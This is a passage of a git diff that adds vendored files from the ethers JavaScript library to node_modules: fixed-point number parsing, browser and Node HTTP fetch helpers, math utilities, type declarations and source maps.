+ * Creates a new [[FixedNumber]] for %%value%% with %%format%%. + * + * This will throw a [[NumericFaultError]] if %%value%% cannot fit + * in %%format%%, either due to overflow or underflow (precision loss). + */ + static fromString(_value, _format) { + const match = _value.match(/^(-?)([0-9]*)\.?([0-9]*)$/); + assertArgument(match && (match[2].length + match[3].length) > 0, "invalid FixedNumber string value", "value", _value); + const format = getFormat(_format); + let whole = (match[2] || "0"), decimal = (match[3] || ""); + // Pad out the decimals + while (decimal.length < format.decimals) { + decimal += Zeros; + } + // Check precision is safe + assert(decimal.substring(format.decimals).match(/^0*$/), "too many decimals for format", "NUMERIC_FAULT", { + operation: "fromString", fault: "underflow", value: _value + }); + // Remove extra padding + decimal = decimal.substring(0, format.decimals); + const value = BigInt(match[1] + whole + decimal); + checkValue(value, format, "fromString"); + return new FixedNumber(_guard, value, format); + } + /** + * Creates a new [[FixedNumber]] with the big-endian representation + * %%value%% with %%format%%. + * + * This will throw a [[NumericFaultError]] if %%value%% cannot fit + * in %%format%% due to overflow. + */ + static fromBytes(_value, _format) { + let value = toBigInt(getBytes(_value, "value")); + const format = getFormat(_format); + if (format.signed) { + value = fromTwos(value, format.width); + } + checkValue(value, format, "fromBytes"); + return new FixedNumber(_guard, value, format); + } +} +//const f1 = FixedNumber.fromString("12.56", "fixed16x2"); +//const f2 = FixedNumber.fromString("0.3", "fixed16x2"); +//console.log(f1.divSignal(f2)); +//const BUMP = FixedNumber.from("0.5"); +//# sourceMappingURL=fixednumber.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/utils/fixednumber.js.map b/node_modules/ethers/lib.esm/utils/fixednumber.js.map new file mode 100644 index 000000000000..b70aeeff68a5 --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/fixednumber.js.map @@ -0,0 +1 @@ +{"version":3,"file":"fixednumber.js","sourceRoot":"","sources":["../../src.ts/utils/fixednumber.ts"],"names":[],"mappings":"AAAA;;;;;;;;;GASG;AACH,OAAO,EAAE,QAAQ,EAAE,MAAM,WAAW,CAAC;AACrC,OAAO,EAAE,MAAM,EAAE,cAAc,EAAE,aAAa,EAAE,MAAM,aAAa,CAAC;AACpE,OAAO,EACH,SAAS,EAAE,SAAS,EAAE,QAAQ,EAAE,IAAI,EAAE,QAAQ,EACjD,MAAM,YAAY,CAAC;AACpB,OAAO,EAAE,gBAAgB,EAAE,MAAM,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AExC,OAAO,IAAI,WAAW,CAAC,MAAM,EAAE,KAAK,EAAE,MAAM,CAAC,CAAC;IAClD,CAAC;IAED;;;;;;OAMG;IACH,MAAM,CAAC,SAAS,CAAC,MAAiB,EAAE,OAAqB;QACrD,IAAI,KAAK,GAAG,QAAQ,CAAC,QAAQ,CAAC,MAAM,EAAE,OAAO,CAAC,CAAC,CAAC;QAChD,MAAM,MAAM,GAAG,SAAS,CAAC,OAAO,CAAC,CAAC;QAElC,IAAI,MAAM,CAAC,MAAM,EAAE;YAAE,KAAK,GAAG,QAAQ,CAAC,KAAK,EAAE,MAAM,CAAC,KAAK,CAAC,CAAC;SAAE;QAE7D,UAAU,CAAC,KAAK,EAAE,MAAM,EAAE,WAAW,CAAC,CAAC;QAEvC,OAAO,IAAI,WAAW,CAAC,MAAM,EAAE,KAAK,EAAE,MAAM,CAAC,CAAC;IAClD,CAAC;CACJ;AAED,0DAA0D;AAC1D,wDAAwD;AACxD,gCAAgC;AAChC,uCAAuC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/utils/geturl-browser.d.ts b/node_modules/ethers/lib.esm/utils/geturl-browser.d.ts new file mode 100644 index 000000000000..9b2cbe7b3bb4 --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/geturl-browser.d.ts @@ -0,0 +1,4 @@ +import type { FetchGetUrlFunc, FetchRequest, FetchCancelSignal, GetUrlResponse } from "./fetch.js"; +export declare function createGetUrl(options?: Record): FetchGetUrlFunc; +export declare function getUrl(req: FetchRequest, _signal?: FetchCancelSignal): Promise; +//# sourceMappingURL=geturl-browser.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/utils/geturl-browser.d.ts.map b/node_modules/ethers/lib.esm/utils/geturl-browser.d.ts.map new file mode 100644 index 000000000000..00bd40b74145 --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/geturl-browser.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"geturl-browser.d.ts","sourceRoot":"","sources":["../../src.ts/utils/geturl-browser.ts"],"names":[],"mappings":"AAEA,OAAO,KAAK,EACR,eAAe,EAAE,YAAY,EAAE,iBAAiB,EAAE,cAAc,EACnE,MAAM,YAAY,CAAC;AAEpB,wBAAgB,YAAY,CAAC,OAAO,CAAC,EAAE,MAAM,CAAC,MAAM,EAAE,GAAG,CAAC,GAAG,eAAe,CAkE3E;AAKD,wBAAsB,MAAM,CAAC,GAAG,EAAE,YAAY,EAAE,OAAO,CAAC,EAAE,iBAAiB,GAAG,OAAO,CAAC,cAAc,CAAC,CAEpG"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/utils/geturl-browser.js b/node_modules/ethers/lib.esm/utils/geturl-browser.js new file mode 100644 index 000000000000..8e171883309f --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/geturl-browser.js @@ -0,0 +1,62 @@ +import { assert, makeError } from "./errors.js"; +export function createGetUrl(options) { + async function getUrl(req, _signal) { + assert(_signal == null || !_signal.cancelled, "request cancelled before sending", "CANCELLED"); + const protocol = req.url.split(":")[0].toLowerCase(); + assert(protocol === "http" || protocol === "https", `unsupported protocol ${protocol}`, "UNSUPPORTED_OPERATION", { + info: { protocol }, + operation: "request" + }); + assert(protocol === "https" || !req.credentials || req.allowInsecureAuthentication, "insecure authorized connections unsupported", "UNSUPPORTED_OPERATION", { + operation: "request" + }); + let error = null; + const controller = new AbortController(); + const timer = setTimeout(() => { + error = makeError("request timeout", "TIMEOUT"); + controller.abort(); + }, req.timeout); + if (_signal) { + _signal.addListener(() => { + error = makeError("request cancelled", "CANCELLED"); + controller.abort(); + }); + } + const init = Object.assign({}, options, { + method: req.method, + headers: new Headers(Array.from(req)), + body: req.body || undefined, + signal: controller.signal + }); + let resp; + try { + resp = await fetch(req.url, init); + } + catch (_error) { + clearTimeout(timer); + if (error) { + throw error; + } + throw _error; + } + clearTimeout(timer); + const headers = {}; + resp.headers.forEach((value, key) => { + headers[key.toLowerCase()] = value; + }); + const respBody = await resp.arrayBuffer(); + const body = (respBody == null) ? null : new Uint8Array(respBody); + return { + statusCode: resp.status, + statusMessage: resp.statusText, + headers, body + }; + } + return getUrl; +} +// @TODO: remove in v7; provided for backwards compat +const defaultGetUrl = createGetUrl({}); +export async function getUrl(req, _signal) { + return defaultGetUrl(req, _signal); +} +//# sourceMappingURL=geturl-browser.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/utils/geturl-browser.js.map b/node_modules/ethers/lib.esm/utils/geturl-browser.js.map new file mode 100644 index 000000000000..ec61708f4a09 --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/geturl-browser.js.map @@ -0,0 +1 @@ +{"version":3,"file":"geturl-browser.js","sourceRoot":"","sources":["../../src.ts/utils/geturl-browser.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,MAAM,EAAE,SAAS,EAAE,MAAM,aAAa,CAAC;AAMhD,MAAM,UAAU,YAAY,CAAC,OAA6B;IAEtD,KAAK,UAAU,MAAM,CAAC,GAAiB,EAAE,OAA2B;QAChE,MAAM,CAAC,OAAO,IAAI,IAAI,IAAI,CAAC,OAAO,CAAC,SAAS,EAAE,kCAAkC,EAAE,WAAW,CAAC,CAAC;QAE/F,MAAM,QAAQ,GAAG,GAAG,CAAC,GAAG,CAAC,KAAK,CAAC,GAAG,CAAC,CAAC,CAAC,CAAC,CAAC,WAAW,EAAE,CAAC;QAErD,MAAM,CAAC,QAAQ,KAAK,MAAM,IAAI,QAAQ,KAAK,OAAO,EAAE,wBAAyB,QAAS,EAAE,EAAE,uBAAuB,EAAE;YAC/G,IAAI,EAAE,EAAE,QAAQ,EAAE;YAClB,SAAS,EAAE,SAAS;SACvB,CAAC,CAAC;QAEH,MAAM,CAAC,QAAQ,KAAK,OAAO,IAAI,CAAC,GAAG,CAAC,WAAW,IAAI,GAAG,CAAC,2BAA2B,EAAE,6CAA6C,EAAE,uBAAuB,EAAE;YACxJ,SAAS,EAAE,SAAS;SACvB,CAAC,CAAC;QAEH,IAAI,KAAK,GAAiB,IAAI,CAAC;QAE/B,MAAM,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EH,MAAM,QAAQ,GAAG,MAAM,IAAI,CAAC,WAAW,EAAE,CAAC;QAC1C,MAAM,IAAI,GAAG,CAAC,QAAQ,IAAI,IAAI,CAAC,CAAC,CAAC,CAAC,IAAI,CAAA,CAAC,CAAC,IAAI,UAAU,CAAC,QAAQ,CAAC,CAAC;QAEjE,OAAO;YACH,UAAU,EAAE,IAAI,CAAC,MAAM;YACvB,aAAa,EAAE,IAAI,CAAC,UAAU;YAC9B,OAAO,EAAE,IAAI;SAChB,CAAC;IACN,CAAC;IAED,OAAO,MAAM,CAAC;AAClB,CAAC;AAED,qDAAqD;AACrD,MAAM,aAAa,GAAoB,YAAY,CAAC,EAAG,CAAC,CAAC;AAEzD,MAAM,CAAC,KAAK,UAAU,MAAM,CAAC,GAAiB,EAAE,OAA2B;IACvE,OAAO,aAAa,CAAC,GAAG,EAAE,OAAO,CAAC,CAAC;AACvC,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/utils/geturl.d.ts b/node_modules/ethers/lib.esm/utils/geturl.d.ts new file mode 100644 index 000000000000..8d0d9783eb08 --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/geturl.d.ts @@ -0,0 +1,10 @@ +import type { FetchGetUrlFunc, FetchRequest, FetchCancelSignal, GetUrlResponse } from "./fetch.js"; +/** + * @_ignore: + */ +export declare function createGetUrl(options?: Record): FetchGetUrlFunc; +/** + * @_ignore: + */ +export declare function getUrl(req: FetchRequest, signal?: FetchCancelSignal): Promise; +//# sourceMappingURL=geturl.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/utils/geturl.d.ts.map b/node_modules/ethers/lib.esm/utils/geturl.d.ts.map new file mode 100644 index 000000000000..6770ee5bbd5c --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/geturl.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"geturl.d.ts","sourceRoot":"","sources":["../../src.ts/utils/geturl.ts"],"names":[],"mappings":"AAOA,OAAO,KAAK,EACR,eAAe,EAAE,YAAY,EAAE,iBAAiB,EAAE,cAAc,EACnE,MAAM,YAAY,CAAC;AAEpB;;GAEG;AACH,wBAAgB,YAAY,CAAC,OAAO,CAAC,EAAE,MAAM,CAAC,MAAM,EAAE,GAAG,CAAC,GAAG,eAAe,CAmH3E;AAKD;;GAEG;AACH,wBAAsB,MAAM,CAAC,GAAG,EAAE,YAAY,EAAE,MAAM,CAAC,EAAE,iBAAiB,GAAG,OAAO,CAAC,cAAc,CAAC,CAEnG"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/utils/geturl.js b/node_modules/ethers/lib.esm/utils/geturl.js new file mode 100644 index 000000000000..e109aeca9bbd --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/geturl.js @@ -0,0 +1,121 @@ +import http from "http"; +import https from "https"; +import { gunzipSync } from "zlib"; +import { assert, makeError } from "./errors.js"; +import { getBytes } from "./data.js"; +/** + * @_ignore: + */ +export function createGetUrl(options) { + async function getUrl(req, signal) { + // Make sure we weren't cancelled before sending + assert(signal == null || !signal.cancelled, "request cancelled before sending", "CANCELLED"); + const protocol = req.url.split(":")[0].toLowerCase(); + assert(protocol === "http" || protocol === "https", `unsupported protocol ${protocol}`, "UNSUPPORTED_OPERATION", { + info: { protocol }, + operation: "request" + }); + assert(protocol === "https" || !req.credentials || req.allowInsecureAuthentication, "insecure authorized connections unsupported", "UNSUPPORTED_OPERATION", { + operation: "request" + }); + const method = req.method; + const headers = Object.assign({}, req.headers); + const reqOptions = { method, headers }; + if (options) { + if (options.agent) { + reqOptions.agent = options.agent; + } + } + // Create a Node-specific AbortController, if available + let abort = null; + try { + abort = new AbortController(); + reqOptions.abort = abort.signal; + } + catch (e) { + console.log(e); + } + const request = ((protocol === "http") ? http : https).request(req.url, reqOptions); + request.setTimeout(req.timeout); + const body = req.body; + if (body) { + request.write(Buffer.from(body)); + } + request.end(); + return new Promise((resolve, reject) => { + if (signal) { + signal.addListener(() => { + if (abort) { + abort.abort(); + } + reject(makeError("request cancelled", "CANCELLED")); + }); + } + request.on("timeout", () => { + reject(makeError("request timeout", "TIMEOUT")); + }); + request.once("response", (resp) => { + const statusCode = resp.statusCode || 0; + const statusMessage = resp.statusMessage || ""; + const headers = Object.keys(resp.headers || {}).reduce((accum, name) => { + let value = resp.headers[name] || ""; + if (Array.isArray(value)) { + value = value.join(", "); + } + accum[name] = value; + return accum; + }, {}); + let body = null; + //resp.setEncoding("utf8"); + resp.on("data", (chunk) => { + if (signal) { + try { + signal.checkSignal(); + } + catch (error) { + return reject(error); + } + } + if (body == null) { + body = chunk; + } + else { + const newBody = new Uint8Array(body.length + chunk.length); + newBody.set(body, 0); + newBody.set(chunk, body.length); + body = newBody; + } + }); + resp.on("end", () => { + try { + if (headers["content-encoding"] === "gzip" && body) { + body = getBytes(gunzipSync(body)); + } + resolve({ statusCode, statusMessage, headers, body }); + } + catch (error) { + reject(makeError("bad response data", "SERVER_ERROR", { + request: req, info: { response: resp, error } + })); + } + }); + resp.on("error", (error) => { + //@TODO: Should this just return nornal response with a server error? + error.response = { statusCode, statusMessage, headers, body }; + reject(error); + }); + }); + request.on("error", (error) => { reject(error); }); + }); + } + return getUrl; +} +// @TODO: remove in v7; provided for backwards compat +const defaultGetUrl = createGetUrl({}); +/** + * @_ignore: + */ +export async function getUrl(req, signal) { + return defaultGetUrl(req, signal); +} +//# sourceMappingURL=geturl.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/utils/geturl.js.map b/node_modules/ethers/lib.esm/utils/geturl.js.map new file mode 100644 index 000000000000..28d961f671e7 --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/geturl.js.map @@ -0,0 +1 @@ +{"version":3,"file":"geturl.js","sourceRoot":"","sources":["../../src.ts/utils/geturl.ts"],"names":[],"mappings":"AAAA,OAAO,IAAI,MAAM,MAAM,CAAC;AACxB,OAAO,KAAK,MAAM,OAAO,CAAC;AAC1B,OAAO,EAAE,UAAU,EAAE,MAAM,MAAM,CAAC;AAElC,OAAO,EAAE,MAAM,EAAE,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AAI,GAAG,QAAQ,CAAC,UAAU,CAAC,IAAI,CAAC,CAAC,CAAC;yBACrC;wBAED,OAAO,CAAC,EAAE,UAAU,EAAE,aAAa,EAAE,OAAO,EAAE,IAAI,EAAE,CAAC,CAAC;qBAEzD;oBAAC,OAAO,KAAK,EAAE;wBACZ,MAAM,CAAC,SAAS,CAAC,mBAAmB,EAAE,cAAc,EAAE;4BAClD,OAAO,EAAE,GAAG,EAAE,IAAI,EAAE,EAAE,QAAQ,EAAE,IAAI,EAAE,KAAK,EAAE;yBAChD,CAAC,CAAC,CAAC;qBACP;gBACL,CAAC,CAAC,CAAC;gBAEH,IAAI,CAAC,EAAE,CAAC,OAAO,EAAE,CAAC,KAAK,EAAE,EAAE;oBAC3B,qEAAqE;oBAC3D,KAAM,CAAC,QAAQ,GAAG,EAAE,UAAU,EAAE,aAAa,EAAE,OAAO,EAAE,IAAI,EAAE,CAAC;oBACrE,MAAM,CAAC,KAAK,CAAC,CAAC;gBAClB,CAAC,CAAC,CAAC;YACP,CAAC,CAAC,CAAC;YAEH,OAAO,CAAC,EAAE,CAAC,OAAO,EAAE,CAAC,KAAK,EAAE,EAAE,GAAG,MAAM,CAAC,KAAK,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC;QACvD,CAAC,CAAC,CAAC;IACP,CAAC;IAED,OAAO,MAAM,CAAC;AAClB,CAAC;AAED,qDAAqD;AACrD,MAAM,aAAa,GAAoB,YAAY,CAAC,EAAG,CAAC,CAAC;AAEzD;;GAEG;AACH,MAAM,CAAC,KAAK,UAAU,MAAM,CAAC,GAAiB,EAAE,MAA0B;IACtE,OAAO,aAAa,CAAC,GAAG,EAAE,MAAM,CAAC,CAAC;AACtC,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/utils/index.d.ts b/node_modules/ethers/lib.esm/utils/index.d.ts new file mode 100644 index 000000000000..b6d51e0aefb6 --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/index.d.ts @@ -0,0 +1,30 @@ +/** + * There are many simple utilities required to interact with + * Ethereum and to simplify the library, without increasing + * the library dependencies for simple functions. + * + * @_section api/utils:Utilities [about-utils] + */ +export { decodeBase58, encodeBase58 } from "./base58.js"; +export { decodeBase64, encodeBase64 } from "./base64.js"; +export { getBytes, getBytesCopy, isHexString, isBytesLike, hexlify, concat, dataLength, dataSlice, stripZerosLeft, zeroPadValue, zeroPadBytes } from "./data.js"; +export { isCallException, isError, assert, assertArgument, assertArgumentCount, assertPrivate, assertNormalize, makeError } from "./errors.js"; +export { EventPayload } from "./events.js"; +export { FetchRequest, FetchResponse, FetchCancelSignal, } from "./fetch.js"; +export { FixedNumber } from "./fixednumber.js"; +export { fromTwos, toTwos, mask, getBigInt, getNumber, getUint, toBigInt, toNumber, toBeHex, toBeArray, toQuantity } from "./maths.js"; +export { resolveProperties, defineProperties } from "./properties.js"; +export { decodeRlp } from "./rlp-decode.js"; +export { encodeRlp } from "./rlp-encode.js"; +export { formatEther, parseEther, formatUnits, parseUnits } from "./units.js"; +export { toUtf8Bytes, toUtf8CodePoints, toUtf8String, Utf8ErrorFuncs, } from "./utf8.js"; +export { uuidV4 } from "./uuid.js"; +export type { BytesLike } from "./data.js"; +export type { ErrorCode, EthersError, UnknownError, NotImplementedError, UnsupportedOperationError, NetworkError, ServerError, TimeoutError, BadDataError, CancelledError, BufferOverrunError, NumericFaultError, InvalidArgumentError, MissingArgumentError, UnexpectedArgumentError, CallExceptionError, InsufficientFundsError, NonceExpiredError, OffchainFaultError, ReplacementUnderpricedError, TransactionReplacedError, UnconfiguredNameError, ActionRejectedError, CallExceptionAction, CallExceptionTransaction, CodedEthersError } from "./errors.js"; +export type { EventEmitterable, Listener } from "./events.js"; +export type { GetUrlResponse, FetchPreflightFunc, FetchProcessFunc, FetchRetryFunc, FetchGatewayFunc, FetchGetUrlFunc } from "./fetch.js"; +export type { FixedFormat } from "./fixednumber.js"; +export type { BigNumberish, Numeric } from "./maths.js"; +export type { RlpStructuredData, RlpStructuredDataish } from "./rlp.js"; +export type { Utf8ErrorFunc, UnicodeNormalizationForm, Utf8ErrorReason } from "./utf8.js"; +//# sourceMappingURL=index.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/utils/index.d.ts.map b/node_modules/ethers/lib.esm/utils/index.d.ts.map new file mode 100644 index 000000000000..4290468f78e7 --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/index.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../src.ts/utils/index.ts"],"names":[],"mappings":"AAAA;;;;;;GAMG;AAEH,OAAO,EAAE,YAAY,EAAE,YAAY,EAAE,MAAM,aAAa,CAAC;AAEzD,OAAO,EAAE,YAAY,EAAE,YAAY,EAAE,MAAM,aAAa,CAAC;AAEzD,OAAO,EACH,QAAQ,EAAE,YAAY,EAAE,WAAW,EAAE,WAAW,EAAE,OAAO,EAAE,MAAM,EAAE,UAAU,EAAE,SAAS,EACxF,cAAc,EAAE,YAAY,EAAE,YAAY,EAC7C,MAAM,WAAW,CAAC;AAEnB,OAAO,EACH,eAAe,EAAE,OAAO,EACxB,MAAM,EAAE,cAAc,EAAE,mBAAmB,EAAE,aAAa,EAAE,eAAe,EAAE,SAAS,EACzF,MAAM,aAAa,CAAA;AAEpB,OAAO,EAAE,YAAY,EAAE,MAAM,aAAa,CAAC;AAE3C,OAAO,EACH,YAAY,EAAE,aAAa,EAAE,iBAAiB,GACjD,MAAM,YAAY,CAAC;AAEpB,OAAO,EAAE,WAAW,EAAE,MAAM,kBAAkB,CAAA;AAE9C,OAAO,EACH,QAAQ,EAAE,MAAM,EAAE,IAAI,EACtB,SAAS,EAAE,SAAS,EAAE,OAAO,EAAE,QAAQ,EAAE,QAAQ,EAAE,OAAO,EAAE,SAAS,EAAE,UAAU,EACpF,MAAM,YAAY,CAAC;AAEpB,OAAO,EAAE,iBAAiB,EAAE,gBAAgB,EAAC,MAAM,iBAAiB,CAAC;AAErE,OAAO,EAAE,SAAS,EAAE,MAAM,iBAA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file mode 100644 index 000000000000..080819f87981 --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/index.js @@ -0,0 +1,22 @@ +/** + * There are many simple utilities required to interact with + * Ethereum and to simplify the library, without increasing + * the library dependencies for simple functions. + * + * @_section api/utils:Utilities [about-utils] + */ +export { decodeBase58, encodeBase58 } from "./base58.js"; +export { decodeBase64, encodeBase64 } from "./base64.js"; +export { getBytes, getBytesCopy, isHexString, isBytesLike, hexlify, concat, dataLength, dataSlice, stripZerosLeft, zeroPadValue, zeroPadBytes } from "./data.js"; +export { isCallException, isError, assert, assertArgument, assertArgumentCount, assertPrivate, assertNormalize, makeError } from "./errors.js"; +export { EventPayload } from "./events.js"; +export { FetchRequest, FetchResponse, FetchCancelSignal, } from "./fetch.js"; +export { FixedNumber } from "./fixednumber.js"; +export { fromTwos, toTwos, mask, getBigInt, getNumber, getUint, toBigInt, toNumber, toBeHex, toBeArray, toQuantity } from "./maths.js"; +export { resolveProperties, defineProperties } from "./properties.js"; +export { decodeRlp } from "./rlp-decode.js"; +export { encodeRlp } from "./rlp-encode.js"; +export { formatEther, parseEther, formatUnits, parseUnits } from "./units.js"; +export { toUtf8Bytes, toUtf8CodePoints, toUtf8String, Utf8ErrorFuncs, } from "./utf8.js"; +export { uuidV4 } from "./uuid.js"; +//# sourceMappingURL=index.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/utils/index.js.map b/node_modules/ethers/lib.esm/utils/index.js.map new file mode 100644 index 000000000000..3046ebd7021b --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/index.js.map @@ -0,0 +1 @@ +{"version":3,"file":"index.js","sourceRoot":"","sources":["../../src.ts/utils/index.ts"],"names":[],"mappings":"AAAA;;;;;;GAMG;AAEH,OAAO,EAAE,YAAY,EAAE,YAAY,EAAE,MAAM,aAAa,CAAC;AAEzD,OAAO,EAAE,YAAY,EAAE,YAAY,EAAE,MAAM,aAAa,CAAC;AAEzD,OAAO,EACH,QAAQ,EAAE,YAAY,EAAE,WAAW,EAAE,WAAW,EAAE,OAAO,EAAE,MAAM,EAAE,UAAU,EAAE,SAAS,EACxF,cAAc,EAAE,YAAY,EAAE,YAAY,EAC7C,MAAM,WAAW,CAAC;AAEnB,OAAO,EACH,eAAe,EAAE,OAAO,EACxB,MAAM,EAAE,cAAc,EAAE,mBAAmB,EAAE,aAAa,EAAE,eAAe,EAAE,SAAS,EACzF,MAAM,aAAa,CAAA;AAEpB,OAAO,EAAE,YAAY,EAAE,MAAM,aAAa,CAAC;AAE3C,OAAO,EACH,YAAY,EAAE,aAAa,EAAE,iBAAiB,GACjD,MAAM,YAAY,CAAC;AAEpB,OAAO,EAAE,WAAW,EAAE,MAAM,kBAAkB,CAAA;AAE9C,OAAO,EACH,QAAQ,EAAE,MAAM,EAAE,IAAI,EACtB,SAAS,EAAE,SAAS,EAAE,OAAO,EAAE,QAAQ,EAAE,QAAQ,EAAE,OAAO,EAAE,SAAS,EAAE,UAAU,EACpF,MAAM,YAAY,CAAC;AAEpB,OAAO,EAAE,iBAAiB,EAAE,gBAAgB,EAAC,MAAM,iBAAiB,CAAC;AAErE,OAAO,EAAE,SAAS,EAAE,MAAM,iBAAiB,CAAC;AAC5C,OAAO,EAAE,SAAS,EAAE,MAAM,iBAAiB,CAAC;AAE5C,OAAO,EAAE,WAAW,EAAE,UAAU,EAAE,WAAW,EAAE,UAAU,EAAE,MAAM,YAAY,CAAC;AAE9E,OAAO,EACH,WAAW,EACX,gBAAgB,EAChB,YAAY,EAEZ,cAAc,GACjB,MAAM,WAAW,CAAC;AAEnB,OAAO,EAAE,MAAM,EAAE,MAAM,WAAW,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/utils/maths.d.ts b/node_modules/ethers/lib.esm/utils/maths.d.ts new file mode 100644 index 000000000000..661f0dfd1993 --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/maths.d.ts @@ -0,0 +1,66 @@ +import type { BytesLike } from "./data.js"; +/** + * Any type that can be used where a numeric value is needed. + */ +export type Numeric = number | bigint; +/** + * Any type that can be used where a big number is needed. + */ +export type BigNumberish = string | Numeric; +/** + * Convert %%value%% from a twos-compliment representation of %%width%% + * bits to its value. + * + * If the highest bit is ``1``, the result will be negative. + */ +export declare function fromTwos(_value: BigNumberish, _width: Numeric): bigint; +/** + * Convert %%value%% to a twos-compliment representation of + * %%width%% bits. + * + * The result will always be positive. + */ +export declare function toTwos(_value: BigNumberish, _width: Numeric): bigint; +/** + * Mask %%value%% with a bitmask of %%bits%% ones. + */ +export declare function mask(_value: BigNumberish, _bits: Numeric): bigint; +/** + * Gets a BigInt from %%value%%. If it is an invalid value for + * a BigInt, then an ArgumentError will be thrown for %%name%%. + */ +export declare function getBigInt(value: BigNumberish, name?: string): bigint; +/** + * Returns %%value%% as a bigint, validating it is valid as a bigint + * value and that it is positive. + */ +export declare function getUint(value: BigNumberish, name?: string): bigint; +export declare function toBigInt(value: BigNumberish | Uint8Array): bigint; +/** + * Gets a //number// from %%value%%. If it is an invalid value for + * a //number//, then an ArgumentError will be thrown for %%name%%. + */ +export declare function getNumber(value: BigNumberish, name?: string): number; +/** + * Converts %%value%% to a number. If %%value%% is a Uint8Array, it + * is treated as Big Endian data. Throws if the value is not safe. + */ +export declare function toNumber(value: BigNumberish | Uint8Array): number; +/** + * Converts %%value%% to a Big Endian hexstring, optionally padded to + * %%width%% bytes. + */ +export declare function toBeHex(_value: BigNumberish, _width?: Numeric): string; +/** + * Converts %%value%% to a Big Endian Uint8Array. + */ +export declare function toBeArray(_value: BigNumberish): Uint8Array; +/** + * Returns a [[HexString]] for %%value%% safe to use as a //Quantity//. + * + * A //Quantity// does not have and leading 0 values unless the value is + * the literal value `0x0`. This is most commonly used for JSSON-RPC + * numeric values. + */ +export declare function toQuantity(value: BytesLike | BigNumberish): string; +//# sourceMappingURL=maths.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/utils/maths.d.ts.map b/node_modules/ethers/lib.esm/utils/maths.d.ts.map new file mode 100644 index 000000000000..626b19a407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;;GAEG;AACH,wBAAgB,SAAS,CAAC,MAAM,EAAE,YAAY,GAAG,UAAU,CAe1D;AAED;;;;;;GAMG;AACH,wBAAgB,UAAU,CAAC,KAAK,EAAE,SAAS,GAAG,YAAY,GAAG,MAAM,CAKlE"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/utils/maths.js b/node_modules/ethers/lib.esm/utils/maths.js new file mode 100644 index 000000000000..c669dd36d72f --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/maths.js @@ -0,0 +1,215 @@ +/** + * Some mathematic operations. + * + * @_subsection: api/utils:Math Helpers [about-maths] + */ +import { hexlify, isBytesLike } from "./data.js"; +import { assert, assertArgument } from "./errors.js"; +const BN_0 = BigInt(0); +const BN_1 = BigInt(1); +//const BN_Max256 = (BN_1 << BigInt(256)) - BN_1; +// IEEE 754 support 53-bits of mantissa +const maxValue = 0x1fffffffffffff; +/** + * Convert %%value%% from a twos-compliment representation of %%width%% + * bits to its value. + * + * If the highest bit is ``1``, the result will be negative. + */ +export function fromTwos(_value, _width) { + const value = getUint(_value, "value"); + const width = BigInt(getNumber(_width, "width")); + assert((value >> width) === BN_0, "overflow", "NUMERIC_FAULT", { + operation: "fromTwos", fault: "overflow", value: _value + }); + // Top bit set; treat as a negative value + if (value >> (width - BN_1)) { + const mask = (BN_1 << width) - BN_1; + return -(((~value) & mask) + BN_1); + } + return value; +} +/** + * Convert %%value%% to a twos-compliment representation of + * %%width%% bits. + * + * The result will always be positive. + */ +export function toTwos(_value, _width) { + let value = getBigInt(_value, "value"); + const width = BigInt(getNumber(_width, "width")); + const limit = (BN_1 << (width - BN_1)); + if (value < BN_0) { + value = -value; + assert(value <= limit, "too low", "NUMERIC_FAULT", { + operation: "toTwos", fault: "overflow", value: _value + }); + const mask = (BN_1 << width) - BN_1; + return ((~value) & mask) + BN_1; + } + else { + assert(value < limit, "too high", "NUMERIC_FAULT", { + operation: "toTwos", fault: "overflow", value: _value + }); + } + return value; +} +/** + * Mask %%value%% with a bitmask of %%bits%% ones. + */ +export function mask(_value, _bits) { + const value = getUint(_value, "value"); + const bits = BigInt(getNumber(_bits, "bits")); + return value & ((BN_1 << bits) - BN_1); +} +/** + * Gets a BigInt from %%value%%. If it is an invalid value for + * a BigInt, then an ArgumentError will be thrown for %%name%%. + */ +export function getBigInt(value, name) { + switch (typeof (value)) { + case "bigint": return value; + case "number": + assertArgument(Number.isInteger(value), "underflow", name || "value", value); + assertArgument(value >= -maxValue && value <= maxValue, "overflow", name || "value", value); + return BigInt(value); + case "string": + try { + if (value === "") { + throw new Error("empty string"); + } + if (value[0] === "-" && value[1] !== "-") { + return -BigInt(value.substring(1)); + } + return BigInt(value); + } + catch (e) { + assertArgument(false, `invalid BigNumberish string: ${e.message}`, name || "value", value); + } + } + assertArgument(false, "invalid BigNumberish value", name || "value", value); +} +/** + * Returns %%value%% as a bigint, validating it is valid as a bigint + * value and that it is positive. + */ +export function getUint(value, name) { + const result = 